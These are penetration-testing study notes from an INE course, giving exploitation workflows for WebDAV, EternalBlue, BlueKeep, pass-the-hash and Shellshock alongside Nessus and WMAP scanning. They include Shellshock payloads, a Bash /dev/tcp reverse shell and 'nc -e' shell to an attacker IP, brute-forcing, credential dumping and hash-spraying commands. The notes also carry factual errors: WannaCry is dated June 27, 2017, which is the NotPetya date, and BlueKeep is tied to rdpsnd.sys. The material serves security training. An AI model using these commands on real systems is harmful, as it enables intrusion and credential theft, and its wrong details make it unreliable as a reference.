VULNERABILITY ASSESSMENT

Study Notes & Command Reference | Based on INE Course

Topics: Windows Vulns • Linux Vulns • Shellshock • EternalBlue • BlueKeep • Pass-the-Hash • Nessus • WMAP

1. Vulnerability Assessment — Overview

Vulnerability Assessment (VA) is the systematic process of identifying, quantifying, and prioritising security weaknesses in systems, networks, and applications. It sits between reconnaissance and active exploitation in the penetration testing lifecycle — telling you what is broken before you decide whether and how to break it further.

1.1 VA vs. Penetration Testing

Activity	Goal	Outcome
Vulnerability Scan	Detect & list weaknesses	Report of findings with CVEs and severity ratings
Penetration Test	Exploit weaknesses	Proof-of-concept showing real business impact

1.2 Types of Scanners

- Network-based — scans hosts across the network remotely (e.g. Nessus, OpenVAS)
- Host-based — runs on the target machine itself; deeper, less noise
- Web application — targets HTTP/HTTPS specifically (e.g. WMAP, Nikto, Burp Suite)
- Agent-based — lightweight software installed on endpoints for continuous monitoring

1.3 CVSS Severity Ratings (reference)

Score Range	Severity	Typical Response
9.0 – 10.0	Critical	Patch immediately — remote unauthenticated RCE likely
7.0 – 8.9	High	Patch within days — significant privilege escalation or data exposure
4.0 – 6.9	Medium	Patch within weeks — requires some conditions to exploit
0.1 – 3.9	Low	Patch in routine cycle — limited impact

2. Windows Vulnerabilities

Windows holds >70% of the global OS market, making it the most targeted platform. Its fragmented versioning (XP through Server 2022), C-language codebase, and insecure defaults create a large persistent attack surface.

2.1 Why Windows Is Vulnerable

- Written in C — inherently prone to buffer overflows and memory-corruption bugs
- Default config is insecure — many services run enabled; hardening must be applied manually
- Fragmented patching — enterprises run mixed OS versions; many machines remain unpatched for months
- Vulnerability-specific per version — a flaw in Win 7 may not exist in Win 10, and vice versa
- Publicly available exploits — NSA-grade tools (EternalBlue, BlueKeep) leaked and weaponised
- Cross-platform risks — SQL injection, XSS, and other app-layer bugs affect Windows servers too

2.2 Types of Windows Vulnerabilities

Type	Port / Layer	Description
Information Disclosure	Any	Exposes credentials, config files, or sensitive data to an unauthorised party
Buffer Overflow	App/Kernel	Overflows allocated memory buffer, overwrites adjacent memory — can achieve arbitrary code execution
Remote Code Execution (RCE)	Network	Attacker runs arbitrary commands without physical access or credentials
Privilege Escalation	Local/Network	Elevates low-privilege account (e.g. user) to high-privilege (e.g. SYSTEM/admin)
Denial of Service (DoS)	Network/App	Exhausts CPU, RAM, or bandwidth — crashes the system or makes it unavailable
Authentication Bypass	Network	Circumvents login checks — attacker gains access without valid credentials

2.3 Frequently Exploited Windows Services

Service	Port(s)	Attack Notes
Microsoft IIS	80 / 443	Hosts ASP/ASPX/PHP. Attacked via WebDAV upload, path traversal, or web shell injection
WebDAV	80 / 443	HTTP file-management extension on IIS. Brute-force creds → upload .asp shell → RCE
SMB / CIFS	445	File-sharing protocol. EternalBlue (MS17-010) exploits SMBv1 — leads to SYSTEM-level access
RDP	3389	Microsoft remote desktop. BlueKeep (CVE-2019-0708) is unauthenticated RCE. Also brute-forced
WinRM	5985 / 443	Windows remote management (PowerShell remoting). Used in Pass-the-Hash and lateral movement
MSSQL	1433	Microsoft SQL Server. Attacked via default sa credentials, xp_cmdshell for OS command execution

3. Vulnerability Scanning with Metasploit (MSF)

Metasploit Framework is the most widely used open-source exploitation platform. Beyond exploits, its auxiliary modules let you scan and verify vulnerabilities without triggering them — essential for safe pre-exploitation recon.

3.1 Starting & Navigating MSF

```
msfconsole    # launch the Metasploit interactive shell
help    # show available commands and their descriptions
search <keyword>    # search modules by name, CVE, platform, or type
search type:auxiliary smb    # filter: only auxiliary modules related to SMB
info <module_path>    # show detailed description, options, and references for a module
use <module_path>    # select and load a module
show options    # list all parameters for the active module
show targets    # list OS/arch targets supported by the active exploit
show payloads    # list compatible payloads for the current exploit
```

3.2 Setting Parameters

```
set RHOSTS <ip>    # target host — accepts single IP, range (192.168.1.1-20), or CIDR
set RHOST <ip>    # alias for RHOSTS (singular form, same effect)
set LHOST <your_ip>    # your attacker IP — required for reverse payloads
set LPORT <port>    # your listener port for incoming reverse shell
set PAYLOAD <path>    # override default payload (e.g. windows/x64/meterpreter/reverse_tcp)
set TARGET <id>    # select a specific OS target from 'show targets' list
setg RHOSTS <ip>    # set RHOSTS globally — persists across module switches
unset RHOSTS    # clear a previously set option
```

3.3 Running Modules & Managing Sessions

```
run  OR  exploit    # execute the loaded module against the target
check    # test if target is vulnerable WITHOUT exploiting it (if module supports it)
sessions -l    # list all active Meterpreter/shell sessions
sessions -i <id>    # interact with (attach to) a session by its ID number
sessions -k <id>    # kill a specific session
sessions -K    # kill ALL active sessions
background  OR  Ctrl+Z    # send current session to background without closing it
```

3.4 MSF Database (for Nessus integration)

MSF uses PostgreSQL to store hosts, services, and vulnerabilities. Must be running before using db_* commands.

```
systemctl start postgresql    # start PostgreSQL (required for MSF DB)
msfdb init    # initialise the MSF database for the first time
db_status    # confirm database connection is active
db_import <file>.nessus    # import a Nessus scan file into the database
hosts    # list all discovered hosts in the database
services    # list all open services discovered across all hosts
vulns    # list all vulnerabilities imported or detected
db_nmap <ip> -sV    # run nmap and automatically save results to the DB
```

4. Exploiting Microsoft IIS & WebDAV

4.1 What Is IIS?

Internet Information Services (IIS) is Microsoft's proprietary extensible web server. It runs on Windows NT-family systems and hosts both static and dynamic content (ASP, ASPX, PHP, .config). Runs on port 80 (HTTP) and 443 (HTTPS).

4.2 What Is WebDAV?

Web-based Distributed Authoring and Versioning (WebDAV) extends HTTP to allow remote collaborative file management — create, move, copy, delete files on a web server. Effectively turns IIS into a file server. Runs on port 80/443 on top of IIS and requires username/password authentication.

4.3 Exploitation Strategy

1. Detect whether WebDAV is running on the IIS server
2. Brute-force valid credentials using a wordlist attack
3. Authenticate and upload a malicious .asp web shell
4. Browse to the uploaded shell URL to execute OS commands
5. Upgrade to a full reverse shell if needed

4.4 Nmap — Detect WebDAV

```
nmap <ip> -sV -p 80 --script=http-enum    # enumerate web server directories and confirm WebDAV
nmap <ip> -sV -p 80 --script=http-webdav-scan    # dedicated WebDAV detection NSE script
```

Tip: *Look for 'PROPFIND', 'PUT', 'MOVE' in HTTP method listings — these indicate WebDAV is active.*

4.5 Hydra — Brute-Force Credentials

Hydra is a parallelised network login cracker. It tries username/password combinations rapidly against the target service.

```
hydra -L <usernames.txt> -P <passwords.txt> <ip> get-http /webdav/
```

Flags: *-L = username list file, -P = password list file. Use -l (lowercase) for a single username.*

Wordlists: *Kali has built-in wordlists at /usr/share/wordlists/ (rockyou.txt, dirb/common.txt, etc.)*

4.6 davtest — Test Upload Capabilities

davtest tests which file types the WebDAV server allows to be uploaded AND executed. Determines if you can upload a working .asp shell.

```
davtest -url http://<ip>/webdav/    # basic test — no credentials
davtest -auth <user>:<pass> -url http://<ip>/webdav/    # test with known credentials
```

Output: *davtest shows PASS/FAIL for each file type. A PASS on .asp means code execution is possible.*

4.7 cadaver — Interactive WebDAV Client

cadaver is an interactive command-line WebDAV client, similar to an FTP client but over HTTP.

```
cadaver http://<ip>/webdav/    # connect — prompts for username and password
```

Inside the cadaver session:

```
ls    # list files and directories on the remote server
put <local_file>    # upload a file from your local machine to the server
get <remote_file>    # download a file from the server to your local machine
delete <file>    # delete a file on the remote server
mkdir <name>    # create a remote directory
quit    # exit the cadaver session
```

4.8 Uploading a Web Shell

Kali Linux includes pre-built web shells in /usr/share/webshells/. After brute-forcing credentials, upload the shell via cadaver:

```
ls -al /usr/share/webshells/asp/    # list available ASP web shells
```

```
cadaver http://<ip>/webdav/
put /usr/share/webshells/asp/webshell.asp    # upload the web shell to the server
```

Then navigate to http://<ip>/webdav/webshell.asp in a browser to run OS commands interactively.

4.9 MSF — Automated WebDAV Exploitation

```
use exploit/windows/iis/iis_webdav_upload_asp
set RHOSTS <ip>
set HttpUsername <user>
set HttpPassword <pass>
exploit    # uploads malicious ASP shell and opens Meterpreter session
```

5. MS17-010 — EternalBlue (SMBv1 Vulnerability)

Property	Details
CVE / MS ID	CVE-2017-0144 / MS17-010
Protocol	SMBv1 — Server Message Block version 1
Port	TCP 445
Developed By	NSA — leaked publicly by Shadow Brokers in April 2017
Notable Attack	WannaCry ransomware (June 27, 2017) — spread to 200,000+ systems in 150 countries
Patch Released	Microsoft — March 14, 2017 (Security Bulletin MS17-010)
Affected Systems	Windows Vista, 7, 8.1, 10, Server 2008 / 2008 R2, Server 2012 / 2012 R2, Server 2016
MSF Result	SYSTEM-level Meterpreter session — highest privilege, no credentials needed

5.1 How It Works

EternalBlue exploits a flaw in the way Windows SMBv1 handles Transaction2 sub-command requests. By sending specially crafted malformed packets, the attacker causes a buffer overflow in kernel space. This allows arbitrary code execution at the SYSTEM level — without any prior authentication — across the network.

- SMBv1 parses certain packet fields without validating length correctly
- The overflow corrupts kernel pool memory adjacent to the SMB buffer
- Shellcode is placed and executed in the kernel context, giving SYSTEM privileges

5.2 Full Exploitation Workflow

Step 1 — Confirm SMB is Open

```
nmap <ip> -sV -p 445 -O    # detect SMB service and OS version
```

Step 2 — Check Vulnerability

```
nmap <ip> -sV -p 445 --script=smb-vuln-ms17-010    # NSE script — reports 'VULNERABLE' if
MS17-010 is present
```

Step 3 — Verify with MSF Auxiliary

```
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS <ip>
run    # confirms vulnerability without triggering exploitation
```

Step 4 — Exploit

```
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <ip>
set LHOST <your_ip>
exploit    # opens SYSTEM-level Meterpreter session on success
```

Step 5 — Post-Exploitation (Meterpreter)

```
sysinfo    # system name, OS, architecture, domain
getuid    # confirm running as NT AUTHORITY\SYSTEM
ps    # list running processes with PIDs and owners
migrate <pid>    # migrate into a stable process (e.g. explorer.exe, lsass.exe)
hashdump    # dump NTLM hashes from SAM — format: user:RID:LM:NTLM
load kiwi    # load Mimikatz module for advanced credential dumping
lsa_dump_sam    # dump all local account hashes via Kiwi
lsa_dump_secrets    # dump LSA secrets (service account passwords, cached creds)
shell    # drop into a native Windows CMD shell
upload <file> C:\\path    # upload a file to the target system
download <remote_path>    # download a file from the target
```

5.3 Manual Exploitation (AutoBlue)

An alternative Python-based exploit exists (AutoBlue-MS17-010) for cases where MSF cannot be used:

```
cd /shellcode && chmod +x shell_prep.sh    # navigate to shellcode directory and make
script executable
./shell_prep.sh    # generates shellcode payload files
nc -nvlp 1234    # set up your listener before running the exploit
python eternalblue_exploit7.py <ip> shellcode/sc_x64.bin    # run exploit against Windows 7
target
```

6. CVE-2019-0708 — BlueKeep (RDP Vulnerability)

Property	Details
CVE	CVE-2019-0708
Protocol	RDP — Remote Desktop Protocol
Port	TCP 3389
Disclosed	Microsoft — May 14, 2019 (Patch Tuesday)
Affected Systems	Windows XP, Vista, 7, Server 2003, Server 2008, Server 2008 R2 (NOT Win 8/10/Server 2012+)
Exposure	~1 million internet-facing systems found vulnerable at time of disclosure
PoC Warning	Many fake/malicious PoC scripts circulate — only use the verified MSF module
MSF Result	SYSTEM-level Meterpreter session — no authentication required

6.1 How It Works

BlueKeep targets the Windows Remote Desktop Services (RDS) component. An attacker sends specially crafted pre-authentication RDP packets that cause a use-after-free vulnerability in the rdpsnd.sys kernel driver. This gives the attacker read/write access to kernel pool memory, enabling unauthenticated remote code execution as SYSTEM.

> ⚠ **Warning:** Targeting kernel memory is inherently unstable. Exploitation can trigger a BSOD (Blue Screen of Death) on the target. Always set the correct target ID to match the exact OS version — wrong target = crash.

6.2 Full Exploitation Workflow

Step 1 — Confirm RDP is Open

```
nmap <ip> -p 3389 -sV    # check if RDP port is open and get service version
nmap <ip> -p 3389 --script=rdp-enum-encryption    # check RDP encryption level — useful for fingerprinting
```

Step 2 — Check Vulnerability with MSF

```
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
set RHOSTS <ip>
run    # reports whether target is vulnerable — safe, no exploitation
```

Step 3 — Exploit

```
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set RHOSTS <ip>
set LHOST <your_ip>
show targets    # list supported OS targets with IDs — MUST match your target OS
set target <target_id>    # e.g. set target 2 for Windows 7 SP1
exploit
```

Why target matters: *BlueKeep requires OS-specific memory offsets. Wrong target = system crash, correct target = SYSTEM shell.*

7. Pass-the-Hash (PtH) Attacks

Pass-the-Hash is a lateral movement technique that exploits how Windows NTLM authentication works. Rather than cracking a stolen hash back to plaintext, the attacker presents the hash itself as the credential — Windows accepts it because NTLM authenticates with the hash, not the plaintext password.

7.1 Concept & Prerequisites

- Windows stores passwords as NTLM (MD4) hashes in the SAM database or LSASS memory
- NTLM authentication: client sends hash → server verifies hash. Plaintext never sent on the wire
- Requirement: you must first obtain the NTLM hash (via hashdump, Kiwi, or Mimikatz after getting initial access)
- Tools: Metasploit PsExec module, CrackMapExec, Impacket's psexec.py / wmiexec.py

7.2 Phase 1 — Gain Initial Access & Dump Hashes

Option A: BadBlue Exploit → Meterpreter → Kiwi

BadBlue is a vulnerable Windows file-sharing web server (HTTP). The passthru exploit gives a Meterpreter session:

```
use exploit/windows/http/badblue_passthru
set RHOSTS <ip>
exploit
```

Once in Meterpreter, migrate to LSASS to access credential memory:

```
pgrep lsass    # find the PID of LSASS (Local Security Authority Subsystem Service)
migrate <lsass_pid>    # migrate session into LSASS process for credential access
load kiwi    # load Kiwi (Mimikatz port) into Meterpreter
lsa_dump_sam    # dump all local user hashes from the SAM database
lsa_dump_secrets    # dump LSA secrets — may contain service account plaintext passwords
hashdump    # simpler hash dump — format: username:RID:LM_hash:NTLM_hash
```

Save hashes: *Copy both LM hash and NTLM hash. Format for PsExec: LMhash:NTLMhash*

Option B: EternalBlue → Meterpreter → hashdump

If EternalBlue is available, the resulting SYSTEM session already has full access:

```
hashdump    # run directly after EternalBlue exploitation — already at SYSTEM
```

7.3 Phase 2 — Use the Hash (Metasploit PsExec)

PsExec authenticates over SMB (port 445) using the hash and drops a payload on the target, giving a new session:

```
use exploit/windows/smb/psexec
set RHOSTS <target_ip>
set SMBUser <username>    # the user whose hash you captured (e.g. Administrator)
set SMBPass <LM>:<NTLM>    # paste both hashes separated by colon — no plaintext needed
set LHOST <your_ip>
set LPORT <port>
exploit
```

Native Upload target: *Use 'set target Native\ Upload' if default target triggers AV — uploads a binary instead of using DCERPC*

7.4 Phase 2 — Use the Hash (CrackMapExec)

CrackMapExec (CME) is ideal for testing credentials and hashes across multiple hosts simultaneously. It also enumerates shares and users.

```
crackmapexec smb <ip> -u <user> -p <password>    # test plaintext credentials over SMB
crackmapexec smb <ip> -u <user> -H <NTLM_hash>    # pass-the-hash — no plaintext needed
crackmapexec smb <ip_range>/24 -u admin -H <hash>    # spray hash across entire subnet
crackmapexec smb <ip> -u <user> -H <hash> --shares    # list accessible SMB shares with the
hash
net user    # run on the compromised Windows host to list local users
```

Pwn3d!: *CME prints '[+] ... (Pwn3d!)' when the account has admin access on the target*

8. Linux Vulnerabilities

Linux (kernel by Linus Torvalds + GNU toolkit by Richard Stallman) is the dominant server OS. Its many network-facing services — each with its own configuration and patch status — create a broad attack surface.

8.1 Frequently Exploited Linux Services

Service	Port(s)	Attack Notes
Apache Web Server	80 / 443	Most common web server. Vulnerable to Shellshock (via CGI), path traversal, LFI/RFI, and misconfigs
SSH	22	Brute-force weak passwords, outdated OpenSSH versions with known RCE bugs, weak key algorithms
FTP (vsftpd, ProFTPd)	21	Anonymous login, backdoored versions (vsftpd 2.3.4 backdoor), credential brute-force
Samba (SMB on Linux)	445	Windows-Linux file sharing. SambaCry (CVE-2017-7494) allows RCE on unpatched versions
NFS	2049	Network File System. Misconfigured exports allow mounting without auth — data exposure or shell upload
MySQL / MariaDB	3306	Default root with no password, weak credentials, SQL injection leading to file read/write

8.2 Linux Enumeration After Access

```
whoami    # current user context
id    # user ID, group ID, and group memberships
hostname    # machine hostname
uname -a    # kernel version, OS, architecture — check for kernel exploits
cat /etc/*release    # distribution name and version
cat /etc/passwd    # list all user accounts (UID, home dirs, shells)
cat /etc/shadow    # hashed passwords (requires root)
sudo -l    # commands this user can run as root — key for privilege escalation
find / -perm -4000 2>/dev/null    # find SUID binaries — potential privilege escalation
vectors
crontab -l    # list scheduled tasks for the current user
netstat -tulnp    # active network connections and listening ports
ps aux    # all running processes with owners
```

9. Bash CVE-2014-6271 — Shellshock

Property	Details
CVE	CVE-2014-6271 (+ related: CVE-2014-6277, CVE-2014-7169)
Discovered	Stephane Chazelas — September 12, 2014; public September 24, 2014
Affects	GNU Bash versions 1.3 through 4.3 (patched in 4.3 patch 25)
Platform	Linux / Unix only — Windows does not use Bash natively
Attack Vector	Network — any service that passes user-controlled data to Bash environment variables
Common Path	Apache with mod_cgi enabled; CGI scripts (.sh, .cgi) that invoke Bash
Impact	Remote arbitrary command execution as the web server user (usually www-data)

9.1 Root Cause

Bash allows functions to be exported as environment variables (e.g. FOO='() { echo bar; }' exports a function). The bug: Bash also parses and executes trailing code AFTER the closing brace when importing these variables:

```
() { :; }; <your_command_here>
```

Any string matching this pattern injected into an environment variable will cause Bash to silently execute the trailing command when a new Bash process is spawned. Web servers pass HTTP headers (User-Agent, Referer, Cookie) as environment variables to CGI processes — making those headers the injection point.

9.2 Finding the Attack Surface

```
nmap <ip> -sV    # confirm Apache is running on port 80
nmap <ip> -sV --script=http-shellshock --script-args "http-shellshock.uri=/cgi-bin/gettime.cgi"    # test a specific CGI endpoint — reports VULNERABLE if susceptible
```

Finding CGI scripts: *Use Gobuster/dirb to enumerate /cgi-bin/: gobuster dir -u http://<ip> -w /usr/share/wordlists/dirb/common.txt*

9.3 Manual Exploitation via Burp Suite / curl

Intercept an HTTP request to a CGI endpoint, then modify the User-Agent header:

```
() { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'    # User-Agent value — executes cat /etc/passwd on the server
```

echo; echo;: *The two echoes separate Bash's response header output from command output — prevents garbled results*

With curl directly:

```
curl -H "User-Agent: () { :; }; echo; /bin/bash -c 'id'" http://<ip>/cgi-bin/gettime.cgi
```

9.4 Getting a Reverse Shell (Manual)

Step 1 — Set up listener on attacker machine:

```
nc -nvlp 1234    # -n no DNS, -v verbose, -l listen, -p port number
```

Step 2 — Inject reverse shell payload into User-Agent:

```
() { :; }; /bin/bash -i >& /dev/tcp/<your_ip>/1234 0>&1
```

Breakdown: */dev/tcp/<ip>/<port> is a Bash built-in that opens a TCP connection. >& redirects stdout+stderr to it. 0>&1 redirects stdin from it — giving interactive shell.*

Step 3 — Post-connection enumeration:

```
whoami    # confirm user context (usually www-data)
uname -a    # kernel version — check for local privilege escalation
cat /etc/passwd    # enumerate user accounts
cat /etc/*issue    # OS name and version
```

9.5 Metasploit Exploitation

Check Only (Safe)

```
use auxiliary/scanner/http/apache_mod_cgi_bash_env
set RHOSTS <ip>
set TARGETURI /cgi-bin/gettime.cgi    # path to the vulnerable CGI script
run    # confirms vulnerability without exploiting
```

Full Exploit

```
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <ip>
set TARGETURI /cgi-bin/gettime.cgi
set LHOST <your_ip>
exploit    # delivers Meterpreter reverse shell via Shellshock
```

10. Vulnerability Scanning with Nessus

Nessus is a proprietary, industry-standard vulnerability scanner developed by Tenable. It detects thousands of known CVEs, misconfigurations, and compliance issues across operating systems, services, and applications. Nessus Essentials (free tier) allows scanning up to 16 IPs.

10.1 Installation & Service Management

Install on Debian/Kali

```
chmod +x Nessus-<version>-debian6_amd64.deb    # make the installer executable
dpkg -i Nessus-<version>-debian6_amd64.deb    # install the .deb package
```

Service Control

```
sudo systemctl start nessusd.service    # start the Nessus daemon
sudo systemctl enable nessusd.service    # auto-start on boot
sudo systemctl status nessusd.service    # verify service is running (look for 'active
(running)')
sudo systemctl stop nessusd.service    # stop Nessus
```

Web Interface

```
https://127.0.0.1:8834    # open in browser — accept the self-signed certificate
```

First run: *Nessus downloads and compiles plugins on first launch — can take 15-30 minutes. Get a free activation code at tenable.com/products/nessus/nessus-essentials*

10.2 Running a Scan

6. Log in to the web UI at https://127.0.0.1:8834
7. Click New Scan → Basic Network Scan (covers most common vulns)
8. Name the scan, set target IP(s) in the Targets field
9. Optionally configure credentials (credentialed scans find far more vulns)
10. Click Launch — scan runs in the background, can take minutes to hours
11. On completion, review findings. Nessus groups by: Critical, High, Medium, Low, Info

Credentialed scans: *Provide SSH or Windows credentials to Nessus for deeper scanning — finds patch levels, installed software, misconfigs that remote scans miss*

10.3 Importing Results into Metasploit

Export the Nessus scan as .nessus (XML) format, then import into the MSF database to correlate vulnerabilities with available exploits.

```
db_import /path/to/scan.nessus    # import all hosts, services, and vulns into MSF DB
vulns    # list all vulnerabilities — includes CVE IDs for searching exploits
hosts    # list all discovered hosts and their OS info
services    # list all open ports/services across all scanned hosts
vulns -p 445    # filter vulnerabilities by port — e.g. show only SMB vulns
search cve:2017-0144    # search MSF for an exploit matching a specific CVE from Nessus
```

11. Web Application Scanning with WMAP

WMAP is a feature-rich web vulnerability scanner built as a Metasploit plugin. It automates HTTP enumeration and probes for common web vulnerabilities including SQL injection, directory traversal, XSS, file inclusion, and default credentials — all from within the MSF console.

11.1 Full WMAP Workflow

Step 1 — Load WMAP

```
load wmap    # activates the WMAP plugin inside msfconsole — adds wmap_* commands
```

Step 2 — Register a Site

```
wmap_sites -a <ip>    # register the target IP/hostname as a WMAP site
wmap_sites -l    # list all registered sites and their IDs
```

Step 3 — Set a Target URL

```
wmap_targets -t http://<ip>/    # set the full URL to scan — must include http:// or
https://
wmap_targets -l    # list all configured targets
```

Step 4 — Preview Modules

```
wmap_run -t    # show all auxiliary modules WMAP will use — review scope before running
```

Module types: *WMAP uses modules like http_dir_scanner, http_form_field, http_sql_injection, http_auth_brute, etc.*

Step 5 — Run the Scan

```
wmap_run -e    # execute all enabled WMAP modules against all configured targets
```

Runtime: *Can take several minutes depending on site size and number of modules. Progress prints to console.*

Step 6 — Review Results

```
wmap_vulns -l    # display all discovered vulnerabilities with details and paths
```

11.2 Related Web Auxiliary Modules

http_put — Test HTTP PUT Upload

Checks if the web server allows file upload via the HTTP PUT method — a misconfiguration that enables planting files without credentials.

```
use auxiliary/scanner/http/http_put
set RHOSTS <ip>
set PATH /uploads/    # set the target directory path
set FILEDATA 'test'    # content to write into the uploaded file
set FILENAME test.txt    # name for the uploaded file
run
```

Note: *Uploads to the specified path, not necessarily the web root. Check if the file is accessible afterwards.*

Nikto — Complementary Web Scanner

Nikto is a separate web vulnerability scanner that complements WMAP. Faster for quick sweeps:

```
nikto -h http://<ip>    # basic web server scan — checks for dangerous files, outdated
software, misconfigs
nikto -h http://<ip> -p 8080    # scan on a non-standard port
```

12. Quick Reference — Commands at a Glance

12.1 Nmap Essential Scripts

```
nmap <ip> -sV -O    # service detection + OS fingerprinting
nmap <ip> -sV -p 445 --script=smb-vuln-ms17-010    # EternalBlue check
nmap <ip> -p 3389 -sV    # RDP detection
nmap <ip> -sV -p 80 --script=http-enum    # web directory enumeration
nmap <ip> -sV --script=http-shellshock --script-args 'http-shellshock.uri=/cgi-
bin/test.cgi'    # Shellshock check
nmap <ip> -sV -p 80 --script=http-webdav-scan    # WebDAV detection
nmap -sC -sV -O -p- <ip>    # full port scan with default scripts and OS detection
```

12.2 Netcat

```
nc -nvlp <port>    # listen for incoming reverse shell
nc <ip> <port>    # connect to a remote listener (bind shell)
nc -e /bin/bash <ip> <port>    # send a shell to a remote listener (on some nc versions)
```

12.3 Meterpreter Cheat Sheet

```
sysinfo    # OS, hostname, architecture, domain
getuid    # current user (goal: NT AUTHORITY\SYSTEM or root)
getsystem    # attempt automatic privilege escalation to SYSTEM
ps    # list all running processes
migrate <pid>    # migrate into another process for stability/access
load kiwi    # load Mimikatz/Kiwi for credential operations
lsa_dump_sam    # dump SAM database hashes
lsa_dump_secrets    # dump LSA secrets and cached credentials
hashdump    # quick hash dump (format: user:RID:LM:NTLM)
shell    # spawn a native OS shell (CMD on Windows, bash on Linux)
upload <src> <dst>    # upload local file to target
download <src>    # download file from target to attacker
portfwd add -l 3389 -r <ip> -p 3389    # port forward RDP through Meterpreter tunnel
run post/multi/recon/local_exploit_suggester    # suggest local privilege escalation
exploits
background    # background current session (Ctrl+Z also works)
```

12.4 Linux Post-Exploitation

```
whoami && id    # user identity and groups
uname -a    # kernel version — check exploit-db for kernel exploits
cat /etc/passwd    # user accounts
find / -perm -4000 -type f 2>/dev/null    # find SUID binaries for privesc
sudo -l    # sudo rights — check GTFOBins for escalation
crontab -l ; cat /etc/cron*    # scheduled tasks — look for writable scripts run as root
netstat -tulnp    # listening services and their processes
```